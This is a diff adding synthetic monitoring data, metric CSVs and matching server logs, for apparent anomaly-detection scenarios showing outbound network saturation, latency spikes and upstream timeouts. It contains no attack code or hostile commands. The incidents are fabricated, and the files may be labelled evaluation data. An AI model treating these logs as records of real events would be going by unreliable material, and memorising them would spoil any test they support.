b/anom_dataset/scenario_8/anom_8_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,17.41,39.36,26.2,1.15,2.77 +2025-08-26T14:00:05Z,14.76,39.71,24.54,0.75,2.04 +2025-08-26T14:00:10Z,14.94,40.7,27.01,0.88,2.79 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+2025-08-26T14:06:40Z,47.01,39.17,24.71,0.84,100.0 +2025-08-26T14:06:45Z,43.53,35.81,26.04,1.0,99.93 +2025-08-26T14:06:50Z,45.05,38.54,24.54,0.92,100.0 +2025-08-26T14:06:55Z,45.19,41.92,23.88,1.23,99.65 +2025-08-26T14:07:00Z,46.82,40.77,26.03,0.78,99.93 +2025-08-26T14:07:05Z,44.76,40.71,23.71,1.04,100.0 +2025-08-26T14:07:10Z,47.77,40.53,21.91,0.87,100.0 +2025-08-26T14:07:15Z,43.92,39.78,24.96,0.91,99.95 +2025-08-26T14:07:20Z,38.35,40.3,22.68,0.58,100.0 +2025-08-26T14:07:25Z,43.03,39.19,25.55,1.1,99.98 diff --git a/anom_dataset/scenario_8/anom_8_25.log b/anom_dataset/scenario_8/anom_8_25.log new file mode 100644 index 0000000000000000000000000000000000000000..bd468bc697e6fc5fa9e7bb575883937244a988db --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_25.log @@ -0,0 +1,31 @@ +Aug 26 14:00:00 [1]: Started Session 1 of user app_user. +Aug 26 14:00:20 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:00:50 [3102]: GET /api/v1/health HTTP/1.1 200 OK +Aug 26 14:01:40 [2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 14:02:30 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:20 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:03:20 [5432]: WARN High latency detected for outbound requests to billing-service. Latency: 1500ms +Aug 26 14:03:45 [5432]: WARN High latency detected for outbound requests to billing-service. Latency: 2000ms +Aug 26 14:04:10 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:04:10 [5432]: WARN High latency detected for outbound requests to billing-service. Latency: 2500ms +Aug 26 14:04:35 [5432]: WARN High latency detected for outbound requests to billing-service. Latency: 3000ms +Aug 26 14:05:00 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:05:05 [3102]: [error] 3102#3102: *12061 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:05:15 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:05:25 [12345.678] net_ratelimit: 256 callbacks suppressed +Aug 26 14:05:25 [3102]: [error] 3102#3102: *12065 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:05:35 [21380]: Allowing outgoing connection to downstream-analytics.internal:443 +Aug 26 14:05:35 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:05:45 [3102]: [error] 3102#3102: *12069 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:05:50 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:05:55 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:06:05 [3102]: [error] 3102#3102: *12073 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:06:15 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:06:25 [3102]: [error] 3102#3102: *12077 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:06:35 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:06:40 [2345]: INFO routine sync completed for pod web-app +Aug 26 14:06:45 [3102]: [error] 3102#3102: *12081 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:06:55 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:07:05 [3102]: [error] 3102#3102: *12085 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" +Aug 26 14:07:15 [5432]: ERROR Packet loss detected for service 'downstream-analytics'. Dropping connection. +Aug 26 14:07:25 [3102]: [error] 3102#3102: *12089 upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: "POST /api/v2/process HTTP/1.1" diff --git a/anom_dataset/scenario_8/anom_8_26.csv b/anom_dataset/scenario_8/anom_8_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..23265f797be6df127c4177c2ab7cf48aac15d2ea --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,23.27,41.21,26.02,0.64,0.85 +2025-07-02T11:00:05Z,20.15,42.13,24.72,0.98,1.65 +2025-07-02T11:00:10Z,26.06,42.12,21.46,1.04,1.67 +2025-07-02T11:00:15Z,12.22,42.33,28.22,1.08,1.2 +2025-07-02T11:00:20Z,22.0,43.35,28.12,1.39,1.48 +2025-07-02T11:00:25Z,23.45,42.97,22.11,0.87,1.8 +2025-07-02T11:00:30Z,15.72,42.69,26.19,1.01,2.08 +2025-07-02T11:00:35Z,14.02,41.82,27.26,1.0,1.54 +2025-07-02T11:00:40Z,24.81,45.8,24.84,0.91,2.13 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+2025-07-02T11:04:00Z,85.94,45.33,20.37,1.34,64.08 +2025-07-02T11:04:05Z,83.59,40.18,25.12,1.02,63.53 +2025-07-02T11:04:10Z,90.12,40.0,26.14,0.83,67.34 +2025-07-02T11:04:15Z,93.33,41.15,24.51,0.73,70.83 +2025-07-02T11:04:20Z,82.77,44.25,21.08,0.75,73.72 +2025-07-02T11:04:25Z,87.95,41.46,29.59,1.28,80.5 +2025-07-02T11:04:30Z,82.65,41.72,27.72,1.13,83.85 +2025-07-02T11:04:35Z,90.51,40.66,20.88,1.43,86.84 +2025-07-02T11:04:40Z,90.41,43.26,26.43,1.11,92.84 +2025-07-02T11:04:45Z,84.98,42.33,26.58,0.94,94.54 +2025-07-02T11:04:50Z,89.41,40.18,26.34,0.77,94.31 +2025-07-02T11:04:55Z,87.85,44.12,24.9,1.28,99.07 +2025-07-02T11:05:00Z,80.64,43.22,21.6,0.88,99.89 +2025-07-02T11:05:05Z,86.02,41.14,27.33,0.74,99.79 +2025-07-02T11:05:10Z,89.19,40.34,15.0,1.5,99.85 +2025-07-02T11:05:15Z,86.94,43.51,24.86,0.81,100.0 +2025-07-02T11:05:20Z,80.7,40.38,25.82,1.05,99.68 +2025-07-02T11:05:25Z,77.06,40.31,30.88,1.17,100.0 +2025-07-02T11:05:30Z,83.89,45.47,25.94,1.0,99.74 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+2025-07-02T11:07:10Z,86.21,44.15,23.51,0.6,99.87 +2025-07-02T11:07:15Z,90.86,42.97,29.88,1.03,99.83 +2025-07-02T11:07:20Z,84.87,42.91,26.92,1.23,99.83 +2025-07-02T11:07:25Z,83.92,42.62,18.1,1.39,100.0 diff --git a/anom_dataset/scenario_8/anom_8_26.log b/anom_dataset/scenario_8/anom_8_26.log new file mode 100644 index 0000000000000000000000000000000000000000..530a4bb3e8b583b295d2fc891d35f392ddf19b35 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_26.log @@ -0,0 +1,58 @@ +Jul 02 11:00:10 server-1 webapp[5139]: INFO: User 'testuser' logged in successfully. +Jul 02 11:00:20 server-1 kernel: [1751454020] TCP: TCP-FIN-WAIT-2 kill +Jul 02 11:00:25 server-1 kubelet[10044]: INFO: Successfully probed container metrics-collector +Jul 02 11:00:30 server-1 systemd[1]: Started Session 46 of user admin. +Jul 02 11:00:50 server-1 systemd[1]: Started Session 19 of user admin. +Jul 02 11:01:05 server-1 nginx[4871]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:01:20 server-1 kubelet[6100]: INFO: Successfully probed container metrics-collector +Jul 02 11:01:30 server-1 cron[12879]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:45 server-1 nginx[18417]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:02:10 server-1 nginx[6075]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:02:15 server-1 cron[2285]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:30 server-1 webapp[12349]: INFO: User 'testuser' logged in successfully. +Jul 02 11:02:40 server-1 cron[8236]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:45 server-1 nginx[19238]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 11:02:50 server-1 kubelet[2699]: INFO: Successfully probed container metrics-collector +Jul 02 11:02:55 server-1 cron[8563]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:00 server-1 webapp[12934]: ERROR: Request failed: Connection timed out after 5000ms +Jul 02 11:03:05 server-1 nginx[18144]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:03:15 server-1 systemd[1]: Started Session 91 of user admin. +Jul 02 11:03:20 server-1 webapp[8909]: INFO: User 'testuser' logged in successfully. +Jul 02 11:03:25 server-1 webapp[3086]: WARNING: Packet loss detected. Dropping 5% of outgoing packets. +Jul 02 11:03:30 server-1 webapp[13370]: ERROR: Upstream service unavailable. Connection timeout. +Jul 02 11:03:35 server-1 nginx[10225]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:03:40 server-1 kernel: [1751454220] TCP: TCP-FIN-WAIT-2 kill +Jul 02 11:03:45 server-1 sshd[12725]: Accepted publickey for user admin from 10.1.1.5 port 22 +Jul 02 11:04:00 server-1 nginx[10582]: GET /api/v1/health HTTP/1.1 200 +Jul 02 11:04:20 server-1 nginx[13236]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 11:04:35 server-1 kernel: [1751454275] TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:04:40 server-1 webapp[13541]: ERROR: Request failed: Connection timed out after 5000ms +Jul 02 11:04:50 server-1 webapp[10713]: WARNING: Packet loss detected. Dropping 5% of outgoing packets. +Jul 02 11:04:55 server-1 kernel: [1751454295] net_ratelimit: 56 callbacks suppressed +Jul 02 11:05:00 server-1 kernel: [1751454300] net_ratelimit: 56 callbacks suppressed +Jul 02 11:05:05 server-1 kernel: [1751454305] TCP: TCP-FIN-WAIT-2 kill +Jul 02 11:05:10 server-1 sshd[17660]: Accepted publickey for user admin from 10.1.1.5 port 22 +Jul 02 11:05:15 server-1 webapp[18198]: WARNING: Packet loss detected. Dropping 5% of outgoing packets. +Jul 02 11:05:20 server-1 nginx[19697]: GET /api/v1/large_asset HTTP/1.1 504 +Jul 02 11:05:25 server-1 nginx[15169]: GET /api/v1/large_asset HTTP/1.1 504 +Jul 02 11:05:30 server-1 nginx[4554]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 11:05:35 server-1 kernel: [1751454335] TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:05:45 server-1 nginx[3495]: GET /api/v1/large_asset HTTP/1.1 504 +Jul 02 11:05:55 server-1 systemd[1]: Started Session 75 of user admin. +Jul 02 11:06:00 server-1 kernel: [1751454360] TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:06:05 server-1 kernel: [1751454365] TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:06:10 server-1 kernel: [1751454370] net_ratelimit: 56 callbacks suppressed +Jul 02 11:06:15 server-1 webapp[8574]: ERROR: Request failed: Connection timed out after 5000ms +Jul 02 11:06:20 server-1 kernel: [1751454380] net_ratelimit: 56 callbacks suppressed +Jul 02 11:06:25 server-1 nginx[5945]: GET /api/v1/large_asset HTTP/1.1 504 +Jul 02 11:06:30 server-1 nginx[3823]: GET /api/v1/large_asset HTTP/1.1 504 +Jul 02 11:06:35 server-1 nginx[15530]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 11:06:40 server-1 webapp[2763]: ERROR: Request failed: Connection timed out after 5000ms +Jul 02 11:06:45 server-1 webapp[5004]: WARNING: Packet loss detected. Dropping 5% of outgoing packets. +Jul 02 11:06:50 server-1 kernel: [1751454410] net_ratelimit: 56 callbacks suppressed +Jul 02 11:07:00 server-1 nginx[7459]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 02 11:07:05 server-1 systemd[1]: Started Session 85 of user admin. +Jul 02 11:07:10 server-1 webapp[11021]: WARNING: High latency detected for endpoint /api/v1/data. Response time: 2500ms +Jul 02 11:07:15 server-1 webapp[9894]: INFO: User 'testuser' logged in successfully. +Jul 02 11:07:20 server-1 webapp[4235]: ERROR: Request failed: Connection timed out after 5000ms +Jul 02 11:07:25 server-1 webapp[13422]: WARNING: High latency detected for endpoint /api/v1/data. Response time: 2500ms diff --git a/anom_dataset/scenario_8/anom_8_27.csv b/anom_dataset/scenario_8/anom_8_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..eae477fb45dae0c973b25423f5b7b2fb9ba75e90 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,18.42,46.23,19.8,1.2,50.0 +2025-08-26T10:00:05Z,19.7,42.14,29.68,0.86,55.17 +2025-08-26T10:00:10Z,14.01,41.89,19.34,1.09,60.34 +2025-08-26T10:00:15Z,13.47,42.91,25.54,1.44,65.52 +2025-08-26T10:00:20Z,22.4,41.47,29.58,1.42,70.69 +2025-08-26T10:00:25Z,17.61,43.82,29.84,0.53,75.86 +2025-08-26T10:00:30Z,13.51,41.06,26.43,1.14,81.03 +2025-08-26T10:00:35Z,19.44,45.72,30.61,0.75,86.21 +2025-08-26T10:00:40Z,19.78,40.79,22.12,0.58,91.38 +2025-08-26T10:00:45Z,25.78,43.88,30.23,1.3,96.55 +2025-08-26T10:00:50Z,19.92,42.54,23.24,1.18,101.72 +2025-08-26T10:00:55Z,15.45,43.47,25.18,0.51,106.9 +2025-08-26T10:01:00Z,14.07,43.37,24.95,0.99,112.07 +2025-08-26T10:01:05Z,16.72,41.75,26.13,1.39,117.24 +2025-08-26T10:01:10Z,20.24,40.77,18.86,1.19,122.41 +2025-08-26T10:01:15Z,24.04,40.22,27.6,1.02,127.59 +2025-08-26T10:01:20Z,23.05,45.03,28.72,1.24,132.76 +2025-08-26T10:01:25Z,17.11,42.2,24.11,1.17,137.93 +2025-08-26T10:01:30Z,24.86,38.63,24.03,0.66,143.1 +2025-08-26T10:01:35Z,15.43,44.33,23.74,1.06,148.28 +2025-08-26T10:01:40Z,17.38,46.4,24.81,0.75,153.45 +2025-08-26T10:01:45Z,20.31,39.54,23.43,0.88,158.62 +2025-08-26T10:01:50Z,15.46,44.05,26.52,0.54,163.79 +2025-08-26T10:01:55Z,20.56,43.56,24.8,1.3,168.97 +2025-08-26T10:02:00Z,27.25,41.31,28.02,0.54,174.14 +2025-08-26T10:02:05Z,22.48,42.99,27.67,1.31,179.31 +2025-08-26T10:02:10Z,20.41,41.17,24.58,1.2,184.48 +2025-08-26T10:02:15Z,23.88,43.49,23.3,0.69,189.66 +2025-08-26T10:02:20Z,16.89,43.81,20.04,0.78,194.83 +2025-08-26T10:02:25Z,20.16,44.32,21.09,0.92,200.0 +2025-08-26T10:02:30Z,19.18,42.46,26.64,1.28,200.0 +2025-08-26T10:02:35Z,18.22,41.23,26.14,0.95,226.9 +2025-08-26T10:02:40Z,23.12,42.47,20.82,1.43,253.79 +2025-08-26T10:02:45Z,17.21,40.97,19.31,1.31,280.69 +2025-08-26T10:02:50Z,21.18,40.38,22.2,1.12,307.59 +2025-08-26T10:02:55Z,25.41,42.75,32.82,0.95,334.48 +2025-08-26T10:03:00Z,15.57,43.89,18.85,1.39,361.38 +2025-08-26T10:03:05Z,18.64,39.73,26.13,0.64,388.28 +2025-08-26T10:03:10Z,18.84,41.56,25.07,1.1,415.17 +2025-08-26T10:03:15Z,16.7,40.27,17.67,1.11,442.07 +2025-08-26T10:03:20Z,21.96,40.95,28.89,0.99,468.97 +2025-08-26T10:03:25Z,22.03,44.49,30.67,0.54,495.86 +2025-08-26T10:03:30Z,18.88,40.93,26.7,1.49,522.76 +2025-08-26T10:03:35Z,13.68,39.24,24.4,0.66,549.66 +2025-08-26T10:03:40Z,17.8,42.4,27.96,1.46,576.55 +2025-08-26T10:03:45Z,20.14,40.73,31.09,0.55,603.45 +2025-08-26T10:03:50Z,23.32,43.04,28.57,1.01,630.34 +2025-08-26T10:03:55Z,20.95,43.46,25.13,1.43,657.24 +2025-08-26T10:04:00Z,15.42,44.24,22.62,0.76,684.14 +2025-08-26T10:04:05Z,21.56,42.62,21.76,0.95,711.03 +2025-08-26T10:04:10Z,19.35,43.82,19.52,1.29,737.93 +2025-08-26T10:04:15Z,16.03,42.95,25.92,0.61,764.83 +2025-08-26T10:04:20Z,21.75,39.78,26.15,0.71,791.72 +2025-08-26T10:04:25Z,20.78,44.65,22.99,0.82,818.62 +2025-08-26T10:04:30Z,24.36,42.08,23.91,0.81,845.52 +2025-08-26T10:04:35Z,87.44,39.51,27.18,0.97,872.41 +2025-08-26T10:04:40Z,87.76,43.91,18.43,0.77,899.31 +2025-08-26T10:04:45Z,97.66,43.05,28.51,1.29,926.21 +2025-08-26T10:04:50Z,87.83,41.55,20.77,0.84,953.1 +2025-08-26T10:04:55Z,93.32,42.19,25.31,1.24,980.0 +2025-08-26T10:05:00Z,84.64,43.32,23.67,1.14,984.49 +2025-08-26T10:05:05Z,86.72,43.19,25.58,1.38,995.83 +2025-08-26T10:05:10Z,89.59,43.53,24.06,0.75,985.04 +2025-08-26T10:05:15Z,85.46,42.49,24.62,0.69,998.17 +2025-08-26T10:05:20Z,86.32,40.88,24.6,1.04,989.69 +2025-08-26T10:05:25Z,98.07,42.95,25.22,0.55,991.28 +2025-08-26T10:05:30Z,86.01,44.91,27.02,1.16,983.79 +2025-08-26T10:05:35Z,88.11,40.58,30.66,0.77,990.83 +2025-08-26T10:05:40Z,98.92,41.75,22.63,1.13,997.6 +2025-08-26T10:05:45Z,94.36,44.19,20.67,0.65,996.46 +2025-08-26T10:05:50Z,84.86,43.49,19.89,0.88,980.08 +2025-08-26T10:05:55Z,93.23,42.61,25.4,0.81,982.58 +2025-08-26T10:06:00Z,94.64,40.66,20.05,1.13,993.46 +2025-08-26T10:06:05Z,90.61,41.49,25.49,0.98,984.64 +2025-08-26T10:06:10Z,89.56,42.33,19.53,0.84,990.92 +2025-08-26T10:06:15Z,95.88,43.39,28.35,1.21,993.51 +2025-08-26T10:06:20Z,94.31,43.33,30.71,0.93,990.18 +2025-08-26T10:06:25Z,83.25,44.88,30.21,1.34,997.75 +2025-08-26T10:06:30Z,92.01,40.86,20.33,1.18,985.86 +2025-08-26T10:06:35Z,88.55,38.79,23.73,1.05,998.24 +2025-08-26T10:06:40Z,95.85,40.67,26.25,0.88,989.31 +2025-08-26T10:06:45Z,95.22,42.74,27.47,0.71,981.22 +2025-08-26T10:06:50Z,83.95,44.23,24.05,0.51,985.96 +2025-08-26T10:06:55Z,84.96,43.22,26.55,0.55,993.65 +2025-08-26T10:07:00Z,89.64,41.23,25.57,1.4,994.26 +2025-08-26T10:07:05Z,96.8,43.99,25.38,0.56,983.09 +2025-08-26T10:07:10Z,99.68,41.97,20.24,1.4,994.0 +2025-08-26T10:07:15Z,86.21,43.46,29.25,0.67,985.44 +2025-08-26T10:07:20Z,92.69,44.8,26.67,0.83,997.88 +2025-08-26T10:07:25Z,87.57,43.85,25.28,1.21,983.07 diff --git a/anom_dataset/scenario_8/anom_8_27.log b/anom_dataset/scenario_8/anom_8_27.log new file mode 100644 index 0000000000000000000000000000000000000000..97e82fe3713691954d149f60efc33f9e4a47dfc3 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_27.log @@ -0,0 +1,65 @@ +Aug 26 10:00:00 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:00:00 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:00:35 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:00:50 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:01:10 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:01:40 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:01:45 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:02:20 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:02:30 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:02:55 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:03:20 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:03:30 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:04:05 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:04:10 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:04:10 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4595ms +Aug 26 10:04:15 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4889ms +Aug 26 10:04:30 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3913ms +Aug 26 10:04:35 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3672ms +Aug 26 10:04:40 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:04:40 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4245ms +Aug 26 10:04:50 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3013ms +Aug 26 10:04:55 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 2029ms +Aug 26 10:05:00 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:05:00 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4770ms +Aug 26 10:05:05 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3782ms +Aug 26 10:05:10 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3907ms +Aug 26 10:05:15 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:05:15 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:05:15 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4431ms +Aug 26 10:05:20 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:05:25 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:05:35 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:05:40 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4202ms +Aug 26 10:05:50 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:05:50 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:05:50 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:05:50 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4927ms +Aug 26 10:06:00 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:06:00 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3164ms +Aug 26 10:06:05 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:06:05 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4751ms +Aug 26 10:06:10 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 181 +Aug 26 10:06:15 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3217ms +Aug 26 10:06:25 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:06:30 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 211 +Aug 26 10:06:30 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 2816ms +Aug 26 10:06:35 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 3119ms +Aug 26 10:06:40 app-server[1123]: GET /api/v1/healthcheck 200 +Aug 26 10:06:40 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4630ms +Aug 26 10:06:45 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 904 +Aug 26 10:06:45 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 2470ms +Aug 26 10:06:50 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 338 +Aug 26 10:06:50 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4746ms +Aug 26 10:06:55 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4142ms +Aug 26 10:07:00 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 727 +Aug 26 10:07:00 app-server[1123]: INFO: User authentication successful for user 'test_user' +Aug 26 10:07:00 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4684ms +Aug 26 10:07:05 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 719 +Aug 26 10:07:05 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 2052ms +Aug 26 10:07:10 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 330 +Aug 26 10:07:15 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 912 +Aug 26 10:07:20 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:07:20 app-server[1123]: WARN: High latency detected on /api/v1/data-stream, response time: 4678ms +Aug 26 10:07:25 app-server[1123]: ERROR: Connection timeout while sending data to upstream service 'data-processor' +Aug 26 10:07:25 app-server[1123]: ERROR: Failed to process request: client connection dropped for user_id 239 diff --git a/anom_dataset/scenario_8/anom_8_28.csv b/anom_dataset/scenario_8/anom_8_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..90f8bde253d5ba9f7890c8385198092781a60c5b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,17.86,40.98,27.29,0.9,0.88 +2025-07-02T10:00:05Z,20.31,37.85,28.09,1.51,1.91 +2025-07-02T10:00:10Z,15.76,40.69,19.16,1.08,1.67 +2025-07-02T10:00:15Z,12.82,35.97,22.62,1.11,2.83 +2025-07-02T10:00:20Z,11.09,42.6,20.3,1.06,2.36 +2025-07-02T10:00:25Z,9.99,37.5,20.4,0.6,1.45 +2025-07-02T10:00:30Z,11.86,40.02,27.24,1.3,2.96 +2025-07-02T10:00:35Z,19.02,42.25,22.16,1.29,1.36 +2025-07-02T10:00:40Z,16.51,41.96,26.21,0.93,1.49 +2025-07-02T10:00:45Z,15.83,40.34,20.5,0.7,2.63 +2025-07-02T10:00:50Z,13.94,40.27,34.89,1.33,1.15 +2025-07-02T10:00:55Z,14.34,38.7,23.18,1.21,1.34 +2025-07-02T10:01:00Z,16.78,40.57,34.38,1.16,1.76 +2025-07-02T10:01:05Z,22.91,39.17,23.36,1.0,1.73 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new file mode 100644 index 0000000000000000000000000000000000000000..b66cd3627ca45f8855df9eadf1d2e9fd09401d52 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_28.log @@ -0,0 +1,53 @@ +Jul 02 10:00:00 cron[12908]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:20 sshd[15129]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:00:40 systemd[1]: Started Session 1 of user app-user. +Jul 02 10:01:00 sshd[18787]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:01:20 systemd[1]: Started Session 3 of user app-user. +Jul 02 10:01:40 systemd[1]: Started Session 9 of user app-user. +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:20 sshd[13908]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:02:40 sshd[19097]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:20 sshd[11568]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:03:40 sshd[11110]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:03:45 kernel: net_ratelimit: 22 packets dropped +Jul 02 10:03:55 nginx[1123]: WARN high latency detected for upstream service user-service: 270ms +Jul 02 10:04:00 systemd[1]: Started Session 8 of user app-user. +Jul 02 10:04:00 app[4567]: WARN outbound request queue length increasing: 64 +Jul 02 10:04:10 kernel: net_ratelimit: 30 packets dropped +Jul 02 10:04:20 sshd[19033]: Accepted publickey for app-user from 10.0.1.5 port 55234 ssh2 +Jul 02 10:04:25 kernel: net_ratelimit: 12 packets dropped +Jul 02 10:04:30 app[4567]: WARN outbound request queue length increasing: 83 +Jul 02 10:04:40 cron[11317]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:40 kernel: net_ratelimit: 47 packets dropped +Jul 02 10:04:45 app[4567]: WARN outbound request queue length increasing: 87 +Jul 02 10:04:55 app[4567]: WARN outbound request queue length increasing: 94 +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream +Jul 02 10:05:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 